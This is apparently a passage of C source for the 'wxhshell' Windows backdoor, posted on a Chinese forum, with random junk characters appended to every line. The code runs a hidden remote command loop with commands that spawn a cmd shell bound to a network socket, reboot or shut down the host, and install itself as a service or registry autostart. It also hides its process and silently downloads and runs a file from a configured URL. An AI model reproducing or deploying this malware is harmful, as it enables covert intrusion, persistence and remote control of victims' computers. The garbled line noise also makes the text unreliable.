      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e-/+e64Q@  
    break; jbK<"T5  
  } o5 |P5h  
  // 安装 !'T,%8']  
  case 'i': { E HY}gG)  
    if(Install()) @8s:,Y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QR]61v:`  
    else XH{P@2~l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DqTp*hI  
    break; nPo YjQi  
    } E< Ini'od[  
  // 卸载 &Eqa y'  
  case 'r': { 9q|36CAO_  
    if(Uninstall()) @E@5/N6M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j,i> 1|J  
    else v^QUYsar  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b^I(>l-  
    break; GMRFZw_M  
    } RFq&#3f$  
  // 显示 wxhshell 所在路径 v05B7^1@_  
  case 'p': { 5/"&C-t  
    char svExeFile[MAX_PATH]; cl3Dwrf?  
    strcpy(svExeFile,"\n\r"); -McDNM  
      strcat(svExeFile,ExeFile); 3a\.s9A "  
        send(wsh,svExeFile,strlen(svExeFile),0); z Qhc V  
    break; h`:f  
    } 3 h~U)mg  
  // 重启 4c/.#?  
  case 'b': { }m0hq+p^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xh raf1v3\  
    if(Boot(REBOOT)) `L1lGlt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>jLh57  
    else { \ :D'u<8E  
    closesocket(wsh); S&`iEwG  
    ExitThread(0); 1#2B1&  
    } M~k2Y$}R  
    break; 4ZN&Yf`  
    } js<}>wD7<  
  // 关机 Msea kF  
  case 'd': { r%DaBx!x8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cf ~TVa)M  
    if(Boot(SHUTDOWN)) x9{&rl dC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)4 `"D  
    else { voAen&>!  
    closesocket(wsh); zP$Ef7bB  
    ExitThread(0); ,Xt!dT-  
    } zBd)E21H  
    break; Jg\1(ix  
    } c!})%{U  
  // 获取shell AD/7k3:  
  case 's': { ~56F<=#,  
    CmdShell(wsh); jWL;ElM'  
    closesocket(wsh); :Z'q1kW@"  
    ExitThread(0); =$t  
    break; :i>/aRNh1  
  } t<QSp6n""  
  // 退出 G8E=E<Yg~  
  case 'x': { tQ > IJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +f- E8q  
    CloseIt(wsh); Lj(y>{y  
    break; ]fgYO+  
    } Hg}@2n)/  
  // 离开 AECaX4h+_  
  case 'q': { d/4kF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !WD~zZ|  
    closesocket(wsh); e}Xmb$  
    WSACleanup(); A>dA&'~R  
    exit(1); o/Cu^[an  
    break; -WX{ y Ci  
        } ?6[X=GeUs  
  } c3NUJ~>=y  
  } sF=8E8qa   
D+:}D*_&  
  // 提示信息 t/HUG#W{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %ymM#5A  
} NtnKS@Ht  
  } IhYTK%^96  
oA1d8*i^E  
  return; N=X(G(  
} xf?6_=  
t:h~p-&QB  
// shell模块句柄 B1C"F-2d  
int CmdShell(SOCKET sock) $sX X6K),  
{ Q[M?LNE`  
STARTUPINFO si; ~ [4oA$[a|  
ZeroMemory(&si,sizeof(si)); !U2Wiks  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "uthFE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z]J pvw`p  
PROCESS_INFORMATION ProcessInfo;  b jq1",  
char cmdline[]="cmd"; vid(^2+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kj4t![o+  
  return 0; EFYyr f@  
} M9aVE)*!I  
xep!.k x  
// 自身启动模式 %!;6h^@  
int StartFromService(void) x$'0}vnT  
{ />i~No#Xm  
typedef struct xNaDzu"  
{ itg PG  
  DWORD ExitStatus; ,Q5Z<\  
  DWORD PebBaseAddress; * ydU3LG7  
  DWORD AffinityMask; D`G ;kp  
  DWORD BasePriority; XtV=Gr8"  
  ULONG UniqueProcessId; c!{]Z_d\  
  ULONG InheritedFromUniqueProcessId; QE8aYPSFf  
}   PROCESS_BASIC_INFORMATION; eT|"6WJ:{  
< x==T4n/  
PROCNTQSIP NtQueryInformationProcess; 34$qV{Y%y  
Lb>UraUvL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $M(ZKS3,j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R3dCw:\O+Z  
%HNe"7gk  
  HANDLE             hProcess; 6_w;dnVA  
  PROCESS_BASIC_INFORMATION pbi; FLI0C  
q["T6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~/B[;#  
  if(NULL == hInst ) return 0; 0y"Ra%Y  
!VfP#B6.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cy~Pfty  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O\(0{qu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @%5$x]^  
@sV6g?{tI  
  if (!NtQueryInformationProcess) return 0; 9z:P#=Q:  
y^SDt3Am  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V+M=@Pvp9  
  if(!hProcess) return 0; 'z=QV{ni  
a_pNFe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \2K_"5  
BZP~m=kq  
  CloseHandle(hProcess); m'Thm{Y,?n  
gUcG#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9? #pqw  
if(hProcess==NULL) return 0; jo-qP4w  
c-2##Pf_8O  
HMODULE hMod; K`25G_Y3@  
char procName[255]; X R =^zp?  
unsigned long cbNeeded; yE\dv)(<  
f~LM-7!zf}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z}" Xt=G?  
{y[T3(tt  
  CloseHandle(hProcess); +])St3h  
SRixT+E  
if(strstr(procName,"services")) return 1; // 以服务启动 pErre2fS  
,MtN_V-  
  return 0; // 注册表启动 {M5[gr%  
} dz6i~&  
\.R+|`{tf  
// 主模块 E_aDkNT  
int StartWxhshell(LPSTR lpCmdLine) 22|a~"Z  
{ L0Fhjbc  
  SOCKET wsl; (oYM}#Q  
BOOL val=TRUE; Z5vpo$l  
  int port=0; YB}p`b42L  
  struct sockaddr_in door; ]Y%?kQ^  
6n 2LG  
  if(wscfg.ws_autoins) Install(); ~ [por  
er0hf2N]  
port=atoi(lpCmdLine); O%(E 6 n  
Gj.u /l  
if(port<=0) port=wscfg.ws_port; M=57 d7  
"0lC:Wu]  
  WSADATA data; 1w)#BYc=L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4mG?$kCN  
kc3dWWPe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Puu O2TZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =]OG5b_-Y  
  door.sin_family = AF_INET; kO]],Vy`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @ y (9LSs  
  door.sin_port = htons(port); 6<h?%j(  
v\Y362Xv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6%K,3R-d  
closesocket(wsl); H!D?;X  
return 1; vsjl8L  
} RaS7IL:e  
)V}u}5  
  if(listen(wsl,2) == INVALID_SOCKET) { uKI2KWU?2  
closesocket(wsl); 6QCU:2IiL  
return 1; BCE} Er&  
} KT)A{i  
  Wxhshell(wsl); (Ut)APM  
  WSACleanup(); .{-&3++WZ  
]#C;)Vy  
return 0; Yxal%  
xp395ub6  
} .@Z-<P"  
fE\;Cbi  
// 以NT服务方式启动 2Mc}>UI?eO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %n3lm(-0U  
{ m17H#!`  
DWORD   status = 0; {%S>!RA  
  DWORD   specificError = 0xfffffff; "g)@jqq:>  
p&nIUx"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g,5r)FU`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q L6Rs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u0;FQr2  
  serviceStatus.dwWin32ExitCode     = 0;  xZ*.@Pkr  
  serviceStatus.dwServiceSpecificExitCode = 0; 7R 40t3  
  serviceStatus.dwCheckPoint       = 0; ( aGwe@AS  
  serviceStatus.dwWaitHint       = 0; 1!@KRV  
Zd/ACZ[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cG|ihG5)  
  if (hServiceStatusHandle==0) return; 8+Y+\XZG  
.[v4'ww^  
status = GetLastError(); ,8KD-"l^g  
  if (status!=NO_ERROR) 0L "+,  
{ PKoB~wLH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zCdQI  
    serviceStatus.dwCheckPoint       = 0; x"@Y[  
    serviceStatus.dwWaitHint       = 0; 1D42+cy  
    serviceStatus.dwWin32ExitCode     = status; }";\8  
    serviceStatus.dwServiceSpecificExitCode = specificError; y/>]6Pj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SArSi6vF  
    return; [@U2a$k+d  
  } vHY."$|H  
6.z8!4fpl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]j.??'+rg  
  serviceStatus.dwCheckPoint       = 0; 2=3pV!)4}  
  serviceStatus.dwWaitHint       = 0; IK%fX/tDyc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f^8,Z+n  
} p}qNw`  
C.r9)#G  
// 处理NT服务事件,比如:启动、停止 |22~.9S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -kp! .c  
{ >&0)d7Nu8m  
switch(fdwControl) RO-ABFEi(  
{ ;?/v}$Pa  
case SERVICE_CONTROL_STOP: $7{|  
  serviceStatus.dwWin32ExitCode = 0; 3,@I` M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KGCm@oy  
  serviceStatus.dwCheckPoint   = 0; <lHelX=/  
  serviceStatus.dwWaitHint     = 0; V9:h4]  
  { nRpZ;X)'.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D2$"!7O1H  
  } 'Ldlo+*|5  
  return; FF:Y7wXW  
case SERVICE_CONTROL_PAUSE: 9kcp(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b?#k  
  break; S ^?&a5{o  
case SERVICE_CONTROL_CONTINUE: 8y!d^EQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0*66m:C2  
  break; <Z^t^ O  
case SERVICE_CONTROL_INTERROGATE: w$~|/UrLf  
  break; s 2t'jIB  
}; gf `uC0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P 0xInW F  
} \`N%77A  
Gld|w=qr  
// 标准应用程序主函数 rs$sAa*f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K252l,;|  
{ $42C4I*E  
r>N5 ^  
// 获取操作系统版本 Dp 0   
OsIsNt=GetOsVer(); _w+ix9Fr?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2| u'J  
9/OB!<*V|  
  // 从命令行安装 krkRP%jy  
  if(strpbrk(lpCmdLine,"iI")) Install(); m2[q*k]AtS  
73?ZB+\)0A  
  // 下载执行文件 ^ q]BCOfJ(  
if(wscfg.ws_downexe) { GWZ0!V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ds|/\cI$%a  
  WinExec(wscfg.ws_filenam,SW_HIDE); vpOn0([hS  
} cyq]-B  
Cj?X+#J/@d  
if(!OsIsNt) { HH[b1z2D  
// 如果时win9x,隐藏进程并且设置为注册表启动 (`}O!;/E}  
HideProc(); .@#i  
StartWxhshell(lpCmdLine); ShAI6j  
}  WDr'w'  
else /esSM~*H  
  if(StartFromService()) >#z*gCO5,  
  // 以服务方式启动 pEIc ?i*  
  StartServiceCtrlDispatcher(DispatchTable); rf"%D<bb  
else unqX<6hu  
  // 普通方式启动 f $MVgX  
  StartWxhshell(lpCmdLine); <>,V> k|  
T)Byws  
return 0; [xT2c.2__J  
}
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只看该作者 1 发表于: 2006-10-10
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